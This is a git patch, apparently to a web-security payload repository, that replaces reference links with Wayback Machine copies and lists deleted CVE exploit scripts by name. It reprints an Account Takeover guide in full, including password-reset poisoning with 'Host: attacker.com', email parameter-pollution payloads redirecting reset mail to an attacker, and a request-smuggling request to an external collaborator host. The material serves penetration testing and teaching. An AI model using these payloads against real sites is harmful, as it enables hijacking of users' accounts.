From 497fbe925b127d6e396ff55fe8f34c8b9366555f Mon Sep 17 00:00:00 2001 From: Swissky <12152583+swisskyrepo@users.noreply.github.com> Date: Mon, 9 Mar 2026 13:02:28 +0100 Subject: [PATCH] Archive external reference links via Wayback Machine Replace direct URLs in Markdown references with their web.archive.org equivalents to prevent link rot. --- API Key Leaks/IIS-Machine-Keys.md | 10 +- API Key Leaks/README.md | 6 +- Account Takeover/README.md | 374 ++++++------- Brute Force Rate Limit/README.md | 8 +- Business Logic Errors/README.md | 8 +- CORS Misconfiguration/README.md | 20 +- CRLF Injection/README.md | 2 +- CSS Injection/README.md | 24 +- CSV Injection/README.md | 14 +- ...2013-2251 CVE-2017-5638 CVE-2018-11776_.py | 215 -------- CVE Exploits/Apache Struts 2 CVE-2017-9805.py | 326 ----------- .../Apache Struts 2 CVE-2018-11776.py | 231 -------- CVE Exploits/Citrix CVE-2019-19781.py | 51 -- CVE Exploits/Docker API RCE.py | 49 -- CVE Exploits/Drupalgeddon2 CVE-2018-7600.rb | 308 ----------- CVE Exploits/Heartbleed CVE-2014-0160.py | 216 -------- CVE Exploits/JBoss CVE-2015-7501.py | 62 --- CVE Exploits/Jenkins CVE-2015-8103.py | 88 --- CVE Exploits/Jenkins CVE-2016-0792.py | 84 --- CVE Exploits/Jenkins Groovy Console.py | 32 -- CVE Exploits/Log4Shell.md | 214 ++++---- CVE Exploits/README.md | 12 +- CVE Exploits/Rails CVE-2019-5420.rb | 156 ------ CVE Exploits/Shellshock CVE-2014-6271.py | 36 -- CVE Exploits/Telerik CVE-2017-9248.py | 362 ------------- CVE Exploits/Telerik CVE-2019-18935.py | 140 ----- CVE Exploits/Tomcat CVE-2017-12617.py | 239 --------- CVE Exploits/WebLogic CVE-2016-3510.py | 72 --- CVE Exploits/WebLogic CVE-2017-10271.py | 63 --- CVE Exploits/WebLogic CVE-2018-2894.py | 128 ----- CVE Exploits/WebSphere CVE-2015-7450.py | 80 --- CVE Exploits/vBulletin RCE 5.0.0 - 5.5.4.sh | 1 - Clickjacking/README.md | 8 +- Client Side Path Traversal/README.md | 18 +- Command Injection/README.md | 16 +- Cross-Site Request Forgery/README.md | 22 +- DOM Clobbering/README.md | 10 +- Denial of Service/README.md | 4 +- Dependency Confusion/README.md | 78 +-- Directory Traversal/README.md | 10 +- Encoding Transformations/README.md | 10 +- External Variable Modification/README.md | 10 +- File Inclusion/LFI-to-RCE.md | 10 +- File Inclusion/README.md | 10 +- File Inclusion/Wrappers.md | 6 +- Google Web Toolkit/README.md | 4 +- GraphQL Injection/README.md | 34 +- HTTP Parameter Pollution/README.md | 6 +- Headless Browser/README.md | 18 +- Hidden Parameters/README.md | 2 +- Insecure Deserialization/DotNET.md | 26 +- Insecure Deserialization/Java.md | 28 +- Insecure Deserialization/Node.md | 6 +- Insecure Deserialization/PHP.md | 24 +- Insecure Deserialization/Python.md | 10 +- Insecure Deserialization/README.md | 6 +- Insecure Deserialization/Ruby.md | 10 +- Insecure Direct Object References/README.md | 18 +- Insecure Management Interface/README.md | 6 +- Insecure Randomness/README.md | 14 +- Insecure Source Code Management/Bazaar.md | 2 +- Insecure Source Code Management/Git.md | 2 +- Insecure Source Code Management/Mercurial.md | 2 +- Insecure Source Code Management/Subversion.md | 2 +- JSON Web Token/README.md | 28 +- Java RMI/README.md | 6 +- LDAP Injection/README.md | 12 +- LaTeX Injection/README.md | 6 +- Mass Assignment/README.md | 2 +- NoSQL Injection/README.md | 12 +- OAuth Misconfiguration/README.md | 10 +- ORM Leak/README.md | 14 +- Open Redirect/README.md | 8 +- Prompt Injection/README.md | 18 +- Prototype Pollution/README.md | 24 +- Race Condition/README.md | 330 ++++++------ Regular Expression/README.md | 10 +- Request Smuggling/README.md | 362 ++++++------- Reverse Proxy Misconfigurations/README.md | 4 +- SAML Injection/README.md | 20 +- SQL Injection/BigQuery Injection.md | 128 ++--- SQL Injection/Cassandra Injection.md | 4 +- SQL Injection/DB2 Injection.md | 268 +++++----- SQL Injection/MSSQL Injection.md | 14 +- SQL Injection/MySQL Injection.md | 16 +- SQL Injection/OracleSQL Injection.md | 8 +- SQL Injection/PostgreSQL Injection.md | 14 +- SQL Injection/README.md | 22 +- SQL Injection/SQLite Injection.md | 4 +- SQL Injection/SQLmap.md | 4 +- Server Side Include Injection/README.md | 12 +- Server Side Request Forgery/README.md | 40 +- .../SSRF-Advanced-Exploitation.md | 4 +- .../SSRF-Cloud-Instances.md | 2 +- Server Side Template Injection/ASP.md | 2 +- Server Side Template Injection/Java.md | 22 +- Server Side Template Injection/JavaScript.md | 2 +- Server Side Template Injection/PHP.md | 2 +- Server Side Template Injection/Python.md | 10 +- Server Side Template Injection/README.md | 14 +- Tabnabbing/README.md | 4 +- Type Juggling/README.md | 4 +- .../Configuration Apache .htaccess/README.md | 6 +- Upload Insecure Files/README.md | 32 +- Virtual Hosts/README.md | 4 +- Web Cache Deception/README.md | 22 +- Web Sockets/README.md | 10 +- XPATH Injection/README.md | 4 +- XS-Leak/README.md | 12 +- XSLT Injection/README.md | 504 +++++++++--------- XSS Injection/1 - XSS Filter Bypass.md | 2 +- XSS Injection/2 - XSS Polyglot.md | 2 +- XSS Injection/4 - CSP Bypass.md | 6 +- XSS Injection/5 - XSS in Angular.md | 6 +- XSS Injection/README.md | 68 +-- XXE Injection/README.md | 50 +- Zip Slip/README.md | 2 +- _template_vuln/README.md | 2 +- 118 files changed, 1661 insertions(+), 4600 deletions(-) delete mode 100644 CVE Exploits/Apache Struts 2 CVE-2013-2251 CVE-2017-5638 CVE-2018-11776_.py delete mode 100644 CVE Exploits/Apache Struts 2 CVE-2017-9805.py delete mode 100644 CVE Exploits/Apache Struts 2 CVE-2018-11776.py delete mode 100644 CVE Exploits/Citrix CVE-2019-19781.py delete mode 100644 CVE Exploits/Docker API RCE.py delete mode 100644 CVE Exploits/Drupalgeddon2 CVE-2018-7600.rb delete mode 100644 CVE Exploits/Heartbleed CVE-2014-0160.py delete mode 100644 CVE Exploits/JBoss CVE-2015-7501.py delete mode 100644 CVE Exploits/Jenkins CVE-2015-8103.py delete mode 100644 CVE Exploits/Jenkins CVE-2016-0792.py delete mode 100644 CVE Exploits/Jenkins Groovy Console.py delete mode 100644 CVE Exploits/Rails CVE-2019-5420.rb delete mode 100644 CVE Exploits/Shellshock CVE-2014-6271.py delete mode 100644 CVE Exploits/Telerik CVE-2017-9248.py delete mode 100644 CVE Exploits/Telerik CVE-2019-18935.py delete mode 100644 CVE Exploits/Tomcat CVE-2017-12617.py delete mode 100644 CVE Exploits/WebLogic CVE-2016-3510.py delete mode 100644 CVE Exploits/WebLogic CVE-2017-10271.py delete mode 100644 CVE Exploits/WebLogic CVE-2018-2894.py delete mode 100644 CVE Exploits/WebSphere CVE-2015-7450.py delete mode 100644 CVE Exploits/vBulletin RCE 5.0.0 - 5.5.4.sh diff --git a/API Key Leaks/IIS-Machine-Keys.md b/API Key Leaks/IIS-Machine-Keys.md index 22fcdda..8210e85 100644 --- a/API Key Leaks/IIS-Machine-Keys.md +++ b/API Key Leaks/IIS-Machine-Keys.md @@ -200,8 +200,8 @@ $ AspDotNetWrapper.exe --decryptDataFilePath C:\DecryptedText.txt ## References -* [Deep Dive into .NET ViewState Deserialization and Its Exploitation - Swapneil Kumar Dash - October 22, 2019](https://swapneildash.medium.com/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817) -* [Exploiting Deserialisation in ASP.NET via ViewState - Soroush Dalili - April 23, 2019](https://soroush.me/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) -* [Exploiting ViewState Deserialization using Blacklist3r and YSoSerial.Net - Claranet - June 13, 2019](https://www.claranet.com/us/blog/2019-06-13-exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserialnet) -* [Project Blacklist3r - @notsosecure - November 23, 2018](https://www.notsosecure.com/project-blacklist3r/) -* [View State, The Unpatchable IIS Forever Day Being Actively Exploited - Zeroed - July 21, 2024](https://zeroed.tech/blog/viewstate-the-unpatchable-iis-forever-day-being-actively-exploited/) +* [Deep Dive into .NET ViewState Deserialization and Its Exploitation - Swapneil Kumar Dash - October 22, 2019](https://web.archive.org/web/20250916225422/https://swapneildash.medium.com/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817) +* [Exploiting Deserialisation in ASP.NET via ViewState - Soroush Dalili - April 23, 2019](https://web.archive.org/web/20250806010506/https://soroush.me/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) +* [Exploiting ViewState Deserialization using Blacklist3r and YSoSerial.Net - Claranet - June 13, 2019](https://web.archive.org/web/20250810191756/https://www.claranet.com/us/blog/2019-06-13-exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserialnet) +* [Project Blacklist3r - @notsosecure - November 23, 2018](https://web.archive.org/web/20260116051627/https://notsosecure.com/project-blacklist3r) +* [View State, The Unpatchable IIS Forever Day Being Actively Exploited - Zeroed - July 21, 2024](https://web.archive.org/web/20260107194152/https://zeroed.tech/blog/viewstate-the-unpatchable-iis-forever-day-being-actively-exploited/) diff --git a/API Key Leaks/README.md b/API Key Leaks/README.md index b14e563..bdc1ccd 100644 --- a/API Key Leaks/README.md +++ b/API Key Leaks/README.md @@ -103,6 +103,6 @@ Add these lines to your `.pre-commit-config.yaml` file. ## References - [Finding Hidden API Keys & How to Use Them - Sumit Jain - August 24, 2019](https://web.archive.org/web/20191012175520/https://medium.com/@sumitcfe/finding-hidden-api-keys-how-to-use-them-11b1e5d0f01d) -- [Introducing SignSaboteur: Forge Signed Web Tokens with Ease - Zakhar Fedotkin - May 22, 2024](https://portswigger.net/research/introducing-signsaboteur-forge-signed-web-tokens-with-ease) -- [Private API Key Leakage Due to Lack of Access Control - yox - August 8, 2018](https://hackerone.com/reports/376060) -- [Saying Goodbye to My Favorite 5 Minute P1 - Allyson O'Malley - January 6, 2020](https://www.allysonomalley.com/2020/01/06/saying-goodbye-to-my-favorite-5-minute-p1/) +- [Introducing SignSaboteur: Forge Signed Web Tokens with Ease - Zakhar Fedotkin - May 22, 2024](https://web.archive.org/web/20240522172244/https://portswigger.net/research/introducing-signsaboteur-forge-signed-web-tokens-with-ease) +- [Private API Key Leakage Due to Lack of Access Control - yox - August 8, 2018](https://web.archive.org/web/20211208043535/https://hackerone.com/reports/376060) +- [Saying Goodbye to My Favorite 5 Minute P1 - Allyson O'Malley - January 6, 2020](https://web.archive.org/web/20250714230057/https://www.allysonomalley.com/2020/01/06/saying-goodbye-to-my-favorite-5-minute-p1/) diff --git a/Account Takeover/README.md b/Account Takeover/README.md index 0aa4220..bc4810b 100644 --- a/Account Takeover/README.md +++ b/Account Takeover/README.md @@ -1,187 +1,187 @@ -# Account Takeover - -> Account Takeover (ATO) is a significant threat in the cybersecurity landscape, involving unauthorized access to users' accounts through various attack vectors. - -## Summary - -* [Password Reset Feature](#password-reset-feature) - * [Password Reset Token Leak via Referrer](#password-reset-token-leak-via-referrer) - * [Account Takeover Through Password Reset Poisoning](#account-takeover-through-password-reset-poisoning) - * [Password Reset via Email Parameter](#password-reset-via-email-parameter) - * [IDOR on API Parameters](#idor-on-api-parameters) - * [Weak Password Reset Token](#weak-password-reset-token) - * [Leaking Password Reset Token](#leaking-password-reset-token) - * [Password Reset via Username Collision](#password-reset-via-username-collision) - * [Account Takeover Due To Unicode Normalization Issue](#account-takeover-due-to-unicode-normalization-issue) -* [Account Takeover via Web Vulnerabilities](#account-takeover-via-web-vulnerabilities) - * [Account Takeover via Cross Site Scripting](#account-takeover-via-cross-site-scripting) - * [Account Takeover via HTTP Request Smuggling](#account-takeover-via-http-request-smuggling) - * [Account Takeover via CSRF](#account-takeover-via-csrf) -* [References](#references) - -## Password Reset Feature - -### Password Reset Token Leak via Referrer - -1. Request password reset to your email address -2. Click on the password reset link -3. Don't change password -4. Click any 3rd party websites(eg: Facebook, twitter) -5. Intercept the request in Burp Suite proxy -6. Check if the referer header is leaking password reset token. - -### Account Takeover Through Password Reset Poisoning - -1. Intercept the password reset request in Burp Suite -2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com` -3. Forward the request with the modified header - - ```http - POST https://example.com/reset.php HTTP/1.1 - Accept: */* - Content-Type: application/json - Host: attacker.com - ``` - -4. Look for a password reset URL based on the *host header* like : `https://attacker.com/reset-password.php?token=TOKEN` - -### Password Reset via Email Parameter - -```powershell -# parameter pollution -email=victim@mail.com&email=hacker@mail.com - -# array of emails -{"email":["victim@mail.com","hacker@mail.com"]} - -# carbon copy -email=victim@mail.com%0A%0Dcc:hacker@mail.com -email=victim@mail.com%0A%0Dbcc:hacker@mail.com - -# separator -email=victim@mail.com,hacker@mail.com -email=victim@mail.com%20hacker@mail.com -email=victim@mail.com|hacker@mail.com -``` - -### IDOR on API Parameters - -1. Attacker have to login with their account and go to the **Change password** feature. -2. Start the Burp Suite and Intercept the request -3. Send it to the repeater tab and edit the parameters : User ID/email - - ```powershell - POST /api/changepass - [...] - ("form": {"email":"victim@email.com","password":"securepwd"}) - ``` - -### Weak Password Reset Token - -The password reset token should be randomly generated and unique every time. -Try to determine if the token expire or if it's always the same, in some cases the generation algorithm is weak and can be guessed. The following variables might be used by the algorithm. - -* Timestamp -* UserID -* Email of User -* Firstname and Lastname -* Date of Birth -* Cryptography -* Number only -* Small token sequence (<6 characters between [A-Z,a-z,0-9]) -* Token reuse -* Token expiration date - -### Leaking Password Reset Token - -1. Trigger a password reset request using the API/UI for a specific email e.g: -2. Inspect the server response and check for `resetToken` -3. Then use the token in an URL like `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]` - -### Password Reset via Username Collision - -1. Register on the system with a username identical to the victim's username, but with white spaces inserted before and/or after the username. e.g: `"admin "` -2. Request a password reset with your malicious username. -3. Use the token sent to your email and reset the victim password. -4. Connect to the victim account with the new password. - -The platform CTFd was vulnerable to this attack. -See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245) - -### Account Takeover Due To Unicode Normalization Issue - -When processing user input involving unicode for case mapping or normalisation, unexpected behavior can occur. - -* Victim account: `demo@gmail.com` -* Attacker account: `demⓞ@gmail.com` - -[Unisub - is a tool that can suggest potential unicode characters that may be converted to a given character](https://github.com/tomnomnom/hacks/tree/master/unisub). - -[Unicode pentester cheatsheet](https://gosecure.github.io/unicode-pentester-cheatsheet/) can be used to find list of suitable unicode characters based on platform. - -## Account Takeover via Web Vulnerabilities - -### Account Takeover via Cross Site Scripting - -1. Find an XSS inside the application or a subdomain if the cookies are scoped to the parent domain : `*.domain.com` -2. Leak the current **sessions cookie** -3. Authenticate as the user using the cookie - -### Account Takeover via HTTP Request Smuggling - -Refer to **HTTP Request Smuggling** vulnerability page. - -1. Use **smuggler** to detect the type of HTTP Request Smuggling (CL, TE, CL.TE) - - ```powershell - git clone https://github.com/defparam/smuggler.git - cd smuggler - python3 smuggler.py -h - ``` - -2. Craft a request which will overwrite the `POST / HTTP/1.1` with the following data: - - ```powershell - GET http://something.burpcollaborator.net HTTP/1.1 - X: - ``` - -3. Final request could look like the following - - ```powershell - GET / HTTP/1.1 - Transfer-Encoding: chunked - Host: something.com - User-Agent: Smuggler/v1.0 - Content-Length: 83 - - 0 - - GET http://something.burpcollaborator.net HTTP/1.1 - X: X - ``` - -Hackerone reports exploiting this bug - -* -* - -### Account Takeover via CSRF - -1. Create a payload for the CSRF, e.g: "HTML form with auto submit for a password change" -2. Send the payload - -### Account Takeover via JWT - -JSON Web Token might be used to authenticate an user. - -* Edit the JWT with another User ID / Email -* Check for weak JWT signature - -## References - -* [$6,5k + $5k HTTP Request Smuggling mass account takeover - Slack + Zomato - Bug Bounty Reports Explained - August 30, 2020](https://www.youtube.com/watch?v=gzM4wWA7RFo) -* [10 Password Reset Flaws - Anugrah SR - September 16, 2020](https://anugrahsr.github.io/posts/10-Password-reset-flaws/) -* [Broken Cryptography & Account Takeovers - Harsh Bothra - September 20, 2020](https://speakerdeck.com/harshbothra/broken-cryptography-and-account-takeovers?slide=28) -* [CTFd Account Takeover - NIST National Vulnerability Database - March 29, 2020](https://nvd.nist.gov/vuln/detail/CVE-2020-7245) -* [Hacking Grindr Accounts with Copy and Paste - Troy Hunt - October 3, 2020](https://www.troyhunt.com/hacking-grindr-accounts-with-copy-and-paste/) +# Account Takeover + +> Account Takeover (ATO) is a significant threat in the cybersecurity landscape, involving unauthorized access to users' accounts through various attack vectors. + +## Summary + +* [Password Reset Feature](#password-reset-feature) + * [Password Reset Token Leak via Referrer](#password-reset-token-leak-via-referrer) + * [Account Takeover Through Password Reset Poisoning](#account-takeover-through-password-reset-poisoning) + * [Password Reset via Email Parameter](#password-reset-via-email-parameter) + * [IDOR on API Parameters](#idor-on-api-parameters) + * [Weak Password Reset Token](#weak-password-reset-token) + * [Leaking Password Reset Token](#leaking-password-reset-token) + * [Password Reset via Username Collision](#password-reset-via-username-collision) + * [Account Takeover Due To Unicode Normalization Issue](#account-takeover-due-to-unicode-normalization-issue) +* [Account Takeover via Web Vulnerabilities](#account-takeover-via-web-vulnerabilities) + * [Account Takeover via Cross Site Scripting](#account-takeover-via-cross-site-scripting) + * [Account Takeover via HTTP Request Smuggling](#account-takeover-via-http-request-smuggling) + * [Account Takeover via CSRF](#account-takeover-via-csrf) +* [References](#references) + +## Password Reset Feature + +### Password Reset Token Leak via Referrer + +1. Request password reset to your email address +2. Click on the password reset link +3. Don't change password +4. Click any 3rd party websites(e.g., Facebook, twitter) +5. Intercept the request in Burp Suite proxy +6. Check if the referer header is leaking password reset token. + +### Account Takeover Through Password Reset Poisoning + +1. Intercept the password reset request in Burp Suite +2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com` +3. Forward the request with the modified header + + ```http + POST https://example.com/reset.php HTTP/1.1 + Accept: */* + Content-Type: application/json + Host: attacker.com + ``` + +4. Look for a password reset URL based on the *host header* like : `https://attacker.com/reset-password.php?token=TOKEN` + +### Password Reset via Email Parameter + +```powershell +# parameter pollution +email=victim@mail.com&email=hacker@mail.com + +# array of emails +{"email":["victim@mail.com","hacker@mail.com"]} + +# carbon copy +email=victim@mail.com%0A%0Dcc:hacker@mail.com +email=victim@mail.com%0A%0Dbcc:hacker@mail.com + +# separator +email=victim@mail.com,hacker@mail.com +email=victim@mail.com%20hacker@mail.com +email=victim@mail.com|hacker@mail.com +``` + +### IDOR on API Parameters + +1. Attacker have to login with their account and go to the **Change password** feature. +2. Start the Burp Suite and Intercept the request +3. Send it to the repeater tab and edit the parameters : User ID/email + + ```powershell + POST /api/changepass + [...] + ("form": {"email":"victim@email.com","password":"securepwd"}) + ``` + +### Weak Password Reset Token + +The password reset token should be randomly generated and unique every time. +Try to determine if the token expire or if it's always the same, in some cases the generation algorithm is weak and can be guessed. The following variables might be used by the algorithm. + +* Timestamp +* UserID +* Email of User +* Firstname and Lastname +* Date of Birth +* Cryptography +* Number only +* Small token sequence (<6 characters between [A-Z,a-z,0-9]) +* Token reuse +* Token expiration date + +### Leaking Password Reset Token + +1. Trigger a password reset request using the API/UI for a specific email e.g: +2. Inspect the server response and check for `resetToken` +3. Then use the token in an URL like `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]` + +### Password Reset via Username Collision + +1. Register on the system with a username identical to the victim's username, but with white spaces inserted before and/or after the username. e.g: `"admin "` +2. Request a password reset with your malicious username. +3. Use the token sent to your email and reset the victim password. +4. Connect to the victim account with the new password. + +The platform CTFd was vulnerable to this attack. +See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245) + +### Account Takeover Due To Unicode Normalization Issue + +When processing user input involving unicode for case mapping or normalisation, unexpected behavior can occur. + +* Victim account: `demo@gmail.com` +* Attacker account: `demⓞ@gmail.com` + +[Unisub - is a tool that can suggest potential unicode characters that may be converted to a given character](https://github.com/tomnomnom/hacks/tree/master/unisub). + +[Unicode pentester cheatsheet](https://gosecure.github.io/unicode-pentester-cheatsheet/) can be used to find list of suitable unicode characters based on platform. + +## Account Takeover via Web Vulnerabilities + +### Account Takeover via Cross Site Scripting + +1. Find an XSS inside the application or a subdomain if the cookies are scoped to the parent domain : `*.domain.com` +2. Leak the current **sessions cookie** +3. Authenticate as the user using the cookie + +### Account Takeover via HTTP Request Smuggling + +Refer to **HTTP Request Smuggling** vulnerability page. + +1. Use **smuggler** to detect the type of HTTP Request Smuggling (CL, TE, CL.TE) + + ```powershell + git clone https://github.com/defparam/smuggler.git + cd smuggler + python3 smuggler.py -h + ``` + +2. Craft a request which will overwrite the `POST / HTTP/1.1` with the following data: + + ```powershell + GET http://something.burpcollaborator.net HTTP/1.1 + X: + ``` + +3. Final request could look like the following + + ```powershell + GET / HTTP/1.1 + Transfer-Encoding: chunked + Host: something.com + User-Agent: Smuggler/v1.0 + Content-Length: 83 + + 0 + + GET http://something.burpcollaborator.net HTTP/1.1 + X: X + ``` + +Hackerone reports exploiting this bug + +* +* + +### Account Takeover via CSRF + +1. Create a payload for the CSRF, e.g: "HTML form with auto submit for a password change" +2. Send the payload + +### Account Takeover via JWT + +JSON Web Token might be used to authenticate an user. + +* Edit the JWT with another User ID / Email +* Check for weak JWT signature + +## References + +* [$6,5k + $5k HTTP Request Smuggling mass account takeover - Slack + Zomato - Bug Bounty Reports Explained - August 30, 2020](https://web.archive.org/web/20250701123134/https://www.youtube.com/watch?v=gzM4wWA7RFo) +* [10 Password Reset Flaws - Anugrah SR - September 16, 2020](https://web.archive.org/web/20250626114943/https://anugrahsr.github.io/posts/10-Password-reset-flaws/) +* [Broken Cryptography & Account Takeovers - Harsh Bothra - September 20, 2020](https://web.archive.org/web/20250913121907/https://speakerdeck.com/harshbothra/broken-cryptography-and-account-takeovers?slide=28) +* [CTFd Account Takeover - NIST National Vulnerability Database - March 29, 2020](https://web.archive.org/web/20200329075120/https://nvd.nist.gov/vuln/detail/CVE-2020-7245) +* [Hacking Grindr Accounts with Copy and Paste - Troy Hunt - October 3, 2020](https://web.archive.org/web/20251219192449/https://www.troyhunt.com/hacking-grindr-accounts-with-copy-and-paste/) diff --git a/Brute Force Rate Limit/README.md b/Brute Force Rate Limit/README.md index 93704ff..669556b 100644 --- a/Brute Force Rate Limit/README.md +++ b/Brute Force Rate Limit/README.md @@ -141,7 +141,7 @@ Many cloud providers, such as Vultr, offer /64 IPv6 ranges, which provide a vast ## References -* [Bruteforcing the phone number of any Google user - brutecat - June 9, 2025](https://brutecat.com/articles/leaking-google-phones) -* [Burp Intruder attack types - PortSwigger - August 19, 2025](https://portswigger.net/burp/documentation/desktop/tools/intruder/configure-attack/attack-types) -* [Detecting and annoying Burp users - Julien Voisin - May 3, 2021](https://dustri.org/b/detecting-and-annoying-burp-users.html) -* [OmniProx: Multi-Cloud IP Rotation Made Simple - Andy Gill - September 28, 2025](https://blog.zsec.uk/omniprox/) +* [Bruteforcing the phone number of any Google user - brutecat - June 9, 2025](https://web.archive.org/web/20250609141236/https://brutecat.com/articles/leaking-google-phones) +* [Burp Intruder attack types - PortSwigger - August 19, 2025](https://web.archive.org/web/20260124024947/https://portswigger.net/burp/documentation/desktop/tools/intruder/configure-attack/attack-types) +* [Detecting and annoying Burp users - Julien Voisin - May 3, 2021](https://web.archive.org/web/20260102160139/https://dustri.org/b/detecting-and-annoying-burp-users.html) +* [OmniProx: Multi-Cloud IP Rotation Made Simple - Andy Gill - September 28, 2025](https://web.archive.org/web/20260215082718/https://blog.zsec.uk/omniprox/) diff --git a/Business Logic Errors/README.md b/Business Logic Errors/README.md index a3f0a58..b7df79d 100644 --- a/Business Logic Errors/README.md +++ b/Business Logic Errors/README.md @@ -89,7 +89,7 @@ In this example, instead of rounding and rejecting or enforcing a minimum transf ## References -* [Business Logic Vulnerabilities - PortSwigger - 2024](https://portswigger.net/web-security/logic-flaws) -* [Business Logic Vulnerability - OWASP - 2024](https://owasp.org/www-community/vulnerabilities/Business_logic_vulnerability) -* [CWE-840: Business Logic Errors - CWE - March 24, 2011](https://cwe.mitre.org/data/definitions/840.html) -* [Examples of Business Logic Vulnerabilities - PortSwigger - 2024](https://portswigger.net/web-security/logic-flaws/examples) +* [Business Logic Vulnerabilities - PortSwigger - 2024](https://web.archive.org/web/20260305155804/https://portswigger.net/web-security/logic-flaws) +* [Business Logic Vulnerability - OWASP - 2024](https://web.archive.org/web/20200422002600/https://owasp.org/www-community/vulnerabilities/Business_logic_vulnerability) +* [CWE-840: Business Logic Errors - CWE - March 24, 2011](https://web.archive.org/web/20260304013031/https://cwe.mitre.org/data/definitions/840.html) +* [Examples of Business Logic Vulnerabilities - PortSwigger - 2024](https://web.archive.org/web/20200922175829/https://portswigger.net/web-security/logic-flaws/examples) diff --git a/CORS Misconfiguration/README.md b/CORS Misconfiguration/README.md index 62d8761..8807254 100644 --- a/CORS Misconfiguration/README.md +++ b/CORS Misconfiguration/README.md @@ -1,6 +1,6 @@ # CORS Misconfiguration -> A site-wide CORS misconfiguration was in place for an API domain. This allowed an attacker to make cross origin requests on behalf of the user as the application did not whitelist the Origin header and had Access-Control-Allow-Credentials: true meaning we could make requests from our attacker’s site using the victim’s credentials. +> A site-wide CORS misconfiguration was in place for an API domain. This allowed an attacker to make cross origin requests on behalf of the user as the application did not whitelist the Origin header and had Access-Control-Allow-Credentials: true meaning we could make requests from our attacker's site using the victim's credentials. ## Summary @@ -263,12 +263,12 @@ function reqListener() { * [[██████] Cross-origin resource sharing misconfiguration (CORS) - Vadim (jarvis7) - December 20, 2018](https://hackerone.com/reports/470298) * [Advanced CORS Exploitation Techniques - Corben Leo - June 16, 2018](https://web.archive.org/web/20190516052453/https://www.corben.io/advanced-cors-techniques/) -* [CORS misconfig | Account Takeover - Rohan (nahoragg) - October 20, 2018](https://hackerone.com/reports/426147) -* [CORS Misconfiguration leading to Private Information Disclosure - sandh0t (sandh0t) - October 29, 2018](https://hackerone.com/reports/430249) -* [CORS Misconfiguration on www.zomato.com - James Kettle (albinowax) - September 15, 2016](https://hackerone.com/reports/168574) -* [CORS Misconfigurations Explained - Detectify Blog - April 26, 2018](https://blog.detectify.com/2018/04/26/cors-misconfigurations-explained/) -* [Cross-origin resource sharing (CORS) - PortSwigger Web Security Academy - December 30, 2019](https://portswigger.net/web-security/cors) -* [Cross-origin resource sharing misconfig | steal user information - bughunterboy (bughunterboy) - June 1, 2017](https://hackerone.com/reports/235200) -* [Exploiting CORS misconfigurations for Bitcoins and bounties - James Kettle - 14 October 2016](https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties) -* [Exploiting Misconfigured CORS (Cross Origin Resource Sharing) - Geekboy - December 16, 2016](https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/) -* [Think Outside the Scope: Advanced CORS Exploitation Techniques - Ayoub Safa (Sandh0t) - May 14 2019](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397) +* [CORS misconfig | Account Takeover - Rohan (nahoragg) - October 20, 2018](https://web.archive.org/web/20250426222841/https://hackerone.com/reports/426147) +* [CORS Misconfiguration leading to Private Information Disclosure - sandh0t (sandh0t) - October 29, 2018](https://web.archive.org/web/20190820201328/https://hackerone.com/reports/430249) +* [CORS Misconfiguration on www.zomato.com - James Kettle (albinowax) - September 15, 2016](https://web.archive.org/web/20171230084544/https://hackerone.com/reports/168574) +* [CORS Misconfigurations Explained - Detectify Blog - April 26, 2018](https://web.archive.org/web/20230323053559/https://blog.detectify.com/2018/04/26/cors-misconfigurations-explained/) +* [Cross-origin resource sharing (CORS) - PortSwigger Web Security Academy - December 30, 2019](https://web.archive.org/web/20260302141111/https://portswigger.net/web-security/cors) +* [Cross-origin resource sharing misconfig | steal user information - bughunterboy (bughunterboy) - June 1, 2017](https://web.archive.org/web/20250512191501/https://hackerone.com/reports/235200) +* [Exploiting CORS misconfigurations for Bitcoins and bounties - James Kettle - 14 October 2016](https://web.archive.org/web/20190919034024/https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties) +* [Exploiting Misconfigured CORS (Cross Origin Resource Sharing) - Geekboy - December 16, 2016](https://web.archive.org/web/20260204152901/https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/) +* [Think Outside the Scope: Advanced CORS Exploitation Techniques - Ayoub Safa (Sandh0t) - May 14 2019](https://web.archive.org/web/20210126182728/https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397) diff --git a/CRLF Injection/README.md b/CRLF Injection/README.md index d4b4ec2..f6fce56 100644 --- a/CRLF Injection/README.md +++ b/CRLF Injection/README.md @@ -147,6 +147,6 @@ URL encoded version ## References -* [CRLF Injection - CWE-93 - OWASP - May 20, 2022](https://www.owasp.org/index.php/CRLF_Injection) +* [CRLF Injection - CWE-93 - OWASP - May 20, 2022](https://web.archive.org/web/20200113055606/https://www.owasp.org/index.php/CRLF_Injection) * [CRLF injection on Twitter or why blacklists fail - XSS Jigsaw - April 21, 2015](https://web.archive.org/web/20150425024348/https://blog.innerht.ml/twitter-crlf-injection/) * [Starbucks: [newscdn.starbucks.com] CRLF Injection, XSS - Bobrov - December 20, 2016](https://vulners.com/hackerone/H1:192749) diff --git a/CSS Injection/README.md b/CSS Injection/README.md index 30b5f0d..898b58f 100644 --- a/CSS Injection/README.md +++ b/CSS Injection/README.md @@ -185,15 +185,15 @@ Payload example using `fontleak` with a custom selector, parent element, and alp ## References -* [0CTF 2023 Writeups - Web - newdiary - aszx87410 - December 11, 2023](https://blog.huli.tw/2023/12/11/en/0ctf-2023-writeup/) -* [Bench Press: Leaking Text Nodes with CSS - pspaul - October 20, 